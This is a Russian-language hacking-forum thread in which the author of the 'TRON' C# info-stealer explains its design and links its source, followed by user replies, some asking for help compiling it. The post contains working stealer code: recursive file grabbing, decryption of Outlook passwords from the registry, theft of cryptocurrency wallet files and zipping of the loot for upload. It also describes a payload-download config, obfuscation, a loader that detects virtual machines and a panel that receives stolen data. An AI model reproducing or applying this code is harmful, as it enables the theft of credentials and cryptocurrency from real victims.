Статья Стиллер на C# [TRON Source]

onek1lo

CD-диск
Пользователь
Регистрация
19.11.2019
Сообщения
10
Реакции
12
Баллы
4
Недавно слили исходники моего софта TRON Stealer, даже обосрать успели. Я считаю, что это повод для статьи - пиарить свои говнопроекты моими сурсами не позволю.

Сегодня я распишу основные моменты при написании стиллера.
Сначала поговорим про построение проекта, потом про методы сбора/передачи данных, в конце - про обфускацию. Сурцы можно найти в конце статьи.


ПЛАН ПРОЕКТА

Язык программирования C# очень удобен - дружелюбная IDE, понятные названия классов/методов и прочее. Однако, есть некоторые моменты о которых нужно помнить:

1) Декомпиляция.
DotNet легко разбирается, поэтому программы приходится обфусцировать (накрывать протекторами).

2) Зависимость от .Net Framework.
На данный момент оптимальным фреймворком для написания стиллера является net 4.0

3) Крипт
К .net софту нужен особый подход. Увы, довести до состояния фуда на VT не получится.


Итак, это отметили. Далее идет композиция софта.

Я считаю, что билдить софт на продажу одним файлом рискованно - любой школьник с DnSpy сможет анпакнуть твой софт, толком не разбираясь в программировании.
Поэтому в Троне была реализована "модульность" - разбитие файла на отдельные dll, которые запускаются посредством рефлексии главым exe. Звучит страшно, но на схеме все понятнее:
Untitled.png

Decryptor.dll выступает в роли этакого "прокси" - она расшифровывает и запускает Stealer.dll и Sender.dll.

Полное описание работы софта:

1) MainEXE
Расшифровывает и вызывает метод из Decryptor.dll, возвращающий массив байт из Stealer.dll
Потом передает этот массив байт в Sender.dll через вызов метода в Decryptor.dll

2) Decryptor.dll
Содержит в себе Stealer.dll и Sender.dll, а также методы декомпрессии, расшифровки этих библиотек.

3) Stealer.dll
Содержит в себе sqlite3.dll (о ней позже), а также методы сбора информации о пк.

4) Sender.dll
Содержит в себе урезанную Ionic.zip (о ней тоже позже) и методы отправки данных на хост.

Все dll достаются из ресурсов, разжимаются Gzip'om и дешифруются.
Сами понимаете, C# софт должен как то выживать.

Это реализация трона, вы же можете придумать что то свое. Как бы это странно ни звучало - такой говнокод (в разумных пределах) иногда бывает полезен.


СБОР ДАННЫХ

Останавливаться буду лишь на самых интересных моментах, Steam/FileZilla/Jabber можно легко найти в пабе или у меня в коде.


1. Запуск граббера
Схема расшифровки конфига была такова:

b64_decode(b64_decode(00101010)$b64_decode(Rule1+userprofile/desktop/+*.txt;*.pdf+0+none)$b64_decode(http://gooogle.com/file.exe)$b64_decode(mspaint))

Где:

00101010 - дефолтные настройки той или иной функции граббера (стим, телега и проч). 1 - собираем, 0 - нет.

Rule1+userprofile/desktop/+*.txt;*.pdf+0+none - правила юзера. Имя, пусть, расширение, рекурсия/в той же папке, ограничение по размеру.

http://gooogle.com/file.exe - файл для лоадера

mspaint - команда cmd


Для рандомизации рантайма я добавлял нужные методы в массив ThreadStart, перемешивал его и запускал через for.


2. Браузеры
Не буду лукавить, метод сбора данных я позаимствовал из открытых источников. Мне было слишком влом разбирать, переписывать багованный и, вместе с тем, пользующийся огромной популярностью SqliteHandler.

Работа с бд осуществлялась при помощи обычной sqlite3.dll.

Длл дропалась с рандомным именем в %programdata%, в конец файла дописывалась рандомная строка, SetDllDirectory добавляем путь. Что удивительно, по рантайму с этой длл не возникало особых проблем.

Трон искал файлы браузеров по всей APPDATA и LOCALAPPDATA. Долго, но зато все что есть выгребал.
Чуть позже добавил статические пути.

Дешифровка паролей Gecko-браузеров - та еще жопоболь. Проще стырить два файла (key3.dll/key4.dll и logins.json) и расшифровать их бесплатной прогой от NirSoft.


3. Рекурсивный поиск файлов
Стоит отметить папки, в которые лучше не лезть (спасибо кодеру цитадели).
Функция принимает исходный каталог, массив паттернов, рекурсия или нет, ограничение по размеру
C#:
public static List<string> TRON_GetFiles(object TRON_path, string[] TRON_pattern, bool TRON_recursive, string size)

        {

            List<string> TRON_files = new List<string>();



            try

            {

                if ((string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\Microsoft"

                    && (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\Microsoft"

                    && (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\Application Data"

                    && (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\History"

                    && (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\Temporary Internet Files"

                    && (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\VirtualStore"

                    && (string)TRON_path != (string)TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_copy_files_dir)

                {

                    for (int TRON_i = 0; TRON_i < TRON_pattern.Length; TRON_i++)

                    {

                        try

                        {

                            string[] TRON_files2 = Directory.GetFiles((string)TRON_path, TRON_pattern[TRON_i], SearchOption.TopDirectoryOnly);



                            if (size == "none")

                                TRON_files.AddRange(TRON_files2);

                            else

                                foreach (var item in TRON_files2)

                                    if (new FileInfo(item).Length / 1024 <= Convert.ToInt16(size))

                                        TRON_files.Add(item);



                        }

                        catch

                        { }

                    }



                    if (TRON_recursive)

                        foreach (object TRON_directory in Directory.GetDirectories((string)TRON_path))

                            TRON_files.AddRange(TRON_GetFiles(TRON_directory.ToString(), TRON_pattern, TRON_recursive, size));

                }



            }

            catch

            { }



            return TRON_files;

        }


4. Обертка функций
Чтобы код был не столь нагляден я решил оберуть стандартные функции.
C#:
public static bool TRON_FExist(object TRON_s1)

        {

            return File.Exists((string)TRON_s1);

        }



        public static bool TRON_DExist(object TRON_s1)

        {

            return Directory.Exists((string)TRON_s1);

        }



        public static void TRON_CreateDir(object TRON_s1)

        {

            try

            {

                Directory.CreateDirectory((string)TRON_s1);

            }

            catch { }

        }



        public static void TRON_DeleteDir(object TRON_s1)

        {

            try

            {

                Directory.Delete((string)TRON_s1, true);

            }

            catch { }

        }


5. Сбор Outlook
Просто перебираем стандартные пути и возможные имена ключей в реестре
C#:
public static object TRON_GetRegKey(string TRON_path, string TRON_name)

        {

            object TRON_val = null;



            try

            {

                Microsoft.Win32.RegistryKey TRON_reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(TRON_path, false);

                TRON_val = TRON_reg.GetValue(TRON_name);

                TRON_reg.Close();

            }

            catch

            { }



            return TRON_val;

        }



        public static string TRON_OutlookDecryptPwd(byte[] TRON_data)

        {

            try

            {

                byte[] TRON_decdata = new byte[TRON_data.Length - 1];

                Buffer.BlockCopy(TRON_data, 1, TRON_decdata, 0, TRON_data.Length - 1);



                return Encoding.UTF8.GetString(System.Security.Cryptography.ProtectedData.Unprotect(TRON_decdata, null, System.Security.Cryptography.DataProtectionScope.CurrentUser)).Replace(Convert.ToChar(0).ToString(), "");



            }

            catch

            { }



            return "null";

        }



        public static string TRON_OutlookRecursiveReg(string TRON_path, string[] TRON_keys)

        {

            Regex TRON_smtp = new Regex(@"^(?!:\/\/)([a-zA-Z0-9-_]+\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$");

            Regex TRON_mail = new Regex(@"^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$");



            string TRON_data = null;



            try

            {

                for (int i = 0; i < TRON_keys.Length; i++)

                {

                    try

                    {

                        object TRON_val = TRON_GetRegKey(TRON_path, TRON_keys);



                        if (TRON_val != null && TRON_keys.Contains("Password") && !TRON_keys.Contains("2"))

                        {

                            TRON_data += (TRON_keys + ": " + TRON_OutlookDecryptPwd((byte[])TRON_val)) + "\n";



                        }

                        else if (TRON_val != null)

                        {

                            if (TRON_smtp.IsMatch(TRON_val.ToString()) || TRON_mail.IsMatch(TRON_val.ToString()))

                                TRON_data += (TRON_keys + ": " + TRON_val.ToString()) + "\n";

                            else

                                TRON_data += (TRON_keys + ": " + Encoding.UTF8.GetString((byte[])TRON_val).Replace(Convert.ToChar(0).ToString(), "")) + "\n";





                        }



                    }

                    catch

                    { }

                }







                Microsoft.Win32.RegistryKey TRON_reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(TRON_path, false);

                string[] TRON_regkeys = TRON_reg.GetSubKeyNames();

                for (int k = 0; k < TRON_regkeys.Length; k++)

                {

                    try

                    {

                        TRON_data += (TRON_OutlookRecursiveReg(TRON_path + "\\" + TRON_regkeys[k], TRON_keys)) + "\n";

                    }

                    catch

                    { }

                }



            }

            catch

            { }



            return TRON_data;

        }


6. Криптовалюта
Ограничился статическими путями. Кто знает что и где искать - пропишет в правилах самостоятельно.
C#:
static void TRON_Crypto()

        {

            try

            {

                string[] TRON_files =

                {

                    TRONRANDOM_NAME.TRON_Helper.TRON_appdata  + "\\Electrum\\wallets\\default_wallet",

                    TRONRANDOM_NAME.TRON_Helper.TRON_appdata  + "\\Exodus\\exodus.wallet\\info.seco",

                    TRONRANDOM_NAME.TRON_Helper.TRON_appdata  + "\\Exodus\\exodus.wallet\\seed.seco",

                    TRONRANDOM_NAME.TRON_Helper.TRON_appdata  + "\\Exodus\\exodus.wallet\\passphrase.json",

                    TRONRANDOM_NAME.TRON_Helper.TRON_appdata  + "\\Ethereum\\keystore",

                    TRONRANDOM_NAME.TRON_Helper.TRON_localappdata  + "\\Coinomi\\Coinomi\\wallet"



                };



                for (int TRON_i = 0; TRON_i < TRON_files.Length; TRON_i++)

                {

                    try

                    {

                        TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_ziplist.Add("Crypto\\" + TRON_Helper.TRON_DirMatch(TRON_files[TRON_i]) + "\\" + TRONRANDOM_NAME.TRON_Helper.TRON_FileName(TRON_files[TRON_i]), TRONRANDOM_NAME.TRON_Helper.TRON_ReadBytes(TRON_files[TRON_i]));



                    }

                    catch

                    { }



                }



                if (TRONRANDOM_NAME.TRON_Helper.TRON_DExist(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\MyMonero"))

                {

                    string[] TRON_monero =

                    {

                        "FundsRequests*",

                        "PasswordMeta*",

                        "Settings*",

                        "Wallets*"

                    };



                    foreach (var TRON_item in TRONRANDOM_NAME.TRON_Helper.TRON_GetFiles(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\MyMonero", TRON_monero, false, "none"))

                        TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_ziplist.Add("Crypto\\MyMonero\\" + TRONRANDOM_NAME.TRON_Helper.TRON_FileName(TRON_item), TRONRANDOM_NAME.TRON_Helper.TRON_ReadBytes(TRON_item));



                }



                if (TRONRANDOM_NAME.TRON_Helper.TRON_DExist(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\atomic\\Local Storage\\leveldb"))

                    foreach (var TRON_item in Directory.GetFiles(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\atomic\\Local Storage\\leveldb"))

                        TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_ziplist.Add("Crypto\\atomic\\" + TRONRANDOM_NAME.TRON_Helper.TRON_FileName(TRON_item), TRONRANDOM_NAME.TRON_Helper.TRON_ReadBytes(TRON_item));





            }

            catch

            { }



        }


ОТПРАВКА ДАННЫХ

Изначально вся сграбленная инфа сохраняется в словарь вида <string, byte[]> где key - имя файла, а value - массив байт.
Все это в виде массива объектов (первый элемент - словарь, второй ip пк) передается в MainEXE, а оттуда в Sender.dll.

Для упаковки в памяти юзал урезанную и чуть чуть допиленную Ionic.Zip. Полученный массив байт ксорился и переводился в base64 строку. Вариантов загрузки масса, выбирайте на свой вкус.
https://github.com/haf/DotNetZip.Semverd - Zip Reduced

C#:
public static byte[] ToZipStream(Dictionary < string, byte[] > ziplist)

{

    try

    {

        using(var zip = new ZipFile())

        {

            foreach(KeyValuePair < string, byte[] > item in ziplist)

            {

                try

                {

                    Stream ms = new MemoryStream(item.Value);

                    zip.AddEntry(item.Key, ms);

                }

                catch

                {}

            }

            MemoryStream ms2 = new MemoryStream();

            zip.Save(ms2);

            return ms2.ToArray();

        }

    }

    catch

    {}

    return null;

}


ОБФУСКАЦИЯ

К этому должен быть креативный подход.
Я использовал обертки функций, динамически подгружаемые либы, а также свой недописанный обфускатор на основе dnlib. Хороший обфускатор может превратить все это в неплохую кашу.

Тк софт был бюджетным, он был наиболее доступен. Поэтому приходилось извращаться еще больше - делать лоадер.

Лоадер детектил вм, плохие процессы, докачивал шифрованный бинарник и запускал посредством рефлексии.

Ошибки, которые совершил я:
1) Не шифровал строки - процесс написания модуля обфускации сторк затянулся
2) Не использовал достаточную обфускацию в некоторых dll


ПАНЕЛЬ
Просто принимал входящую base64 строку, расшифровывал и сохранял в файл. Сурцы также можно найти ниже.
Билдер конфига был реализован в виде десктопной приложухи - мне так было удобней.




ИТОГ

TRON создавался по большей части из интереса, на таком денег особо заработаешь. Да и к тому же рынок и так переполнен всякими форками бессмертного NoFile c отправкой логов в телеграмм. Возможно, кому то моя статья покажется интересной/полезной.

Исходники: https://github.com/onek1lo/TRON-Project-Stealer
Telegram: onek1lo
Jabber: one.kilo@exploit.im
 
Последнее редактирование:

AsHkERE

RAM
Пользователь
Регистрация
06.04.2019
Сообщения
148
Реакции
46
Баллы
26
Telegram
Jabber
лул и что FUD не добится, обычно такое не детектят
 

AlexDev

floppy-диск
Пользователь
Регистрация
25.12.2019
Сообщения
7
Реакции
2
Баллы
4
Не очень понимаю как использовать сурс.
 

AlexDev

floppy-диск
Пользователь
Регистрация
25.12.2019
Сообщения
7
Реакции
2
Баллы
4
onek1lo, а где сурс самого лодера, я его не вижу он же forums или я чего-то не понимаю?
 

Triada

RAM
Пользователь
Регистрация
13.12.2019
Сообщения
112
Реакции
42
Баллы
24
2) Зависимость от .Net Framework.
На данный момент оптимальным фреймворком для написания стиллера является net 4.0
Оаоаоаоаоа

Если ранше С был как сейчас C#, то что же будет через 10 лет?
 

spectrum

RAID-массив
Модератор
Регистрация
04.09.2015
Сообщения
87
Реакции
161
Баллы
49
щас наврено наклепают стилеров и будут под дргуим брендом толкать
 

AlexDev

floppy-диск
Пользователь
Регистрация
25.12.2019
Сообщения
7
Реакции
2
Баллы
4
щас наврено наклепают стилеров и будут под дргуим брендом толкать
Хм, мне не нравится эта идея т.к из этого ничего не выйдет, а я вот не понимаю как сурс правильно собрать(
 

Paramedic

RAM
Модератор
Регистрация
25.11.2019
Сообщения
107
Реакции
69
Баллы
23

AlexDev

floppy-диск
Пользователь
Регистрация
25.12.2019
Сообщения
7
Реакции
2
Баллы
4
Можете помочь собрать сурс? Я не очень понимаю как его собрать т.к я больше по c++ а не c#
 

Paramedic

RAM
Модератор
Регистрация
25.11.2019
Сообщения
107
Реакции
69
Баллы
23
моё скромное имхо - c# обсирают только те, кто не умеет грамотно использовать возможности .NET платформы. 😊
 
  • Like
Реакции: xmka

h0peIess

RAID-массив
Пользователь
Регистрация
04.12.2018
Сообщения
56
Реакции
57
Баллы
19

AsHkERE

RAM
Пользователь
Регистрация
06.04.2019
Сообщения
148
Реакции
46
Баллы
26
Telegram
Jabber
моё скромное имхо - c# обсирают только те, кто не умеет грамотно использовать возможности .NET платформы. 😊
согласен, это особый язык, в котором свои формы подхода, все люди подобного сорта обычно всю жизнь писали на плюсах...
 
Верх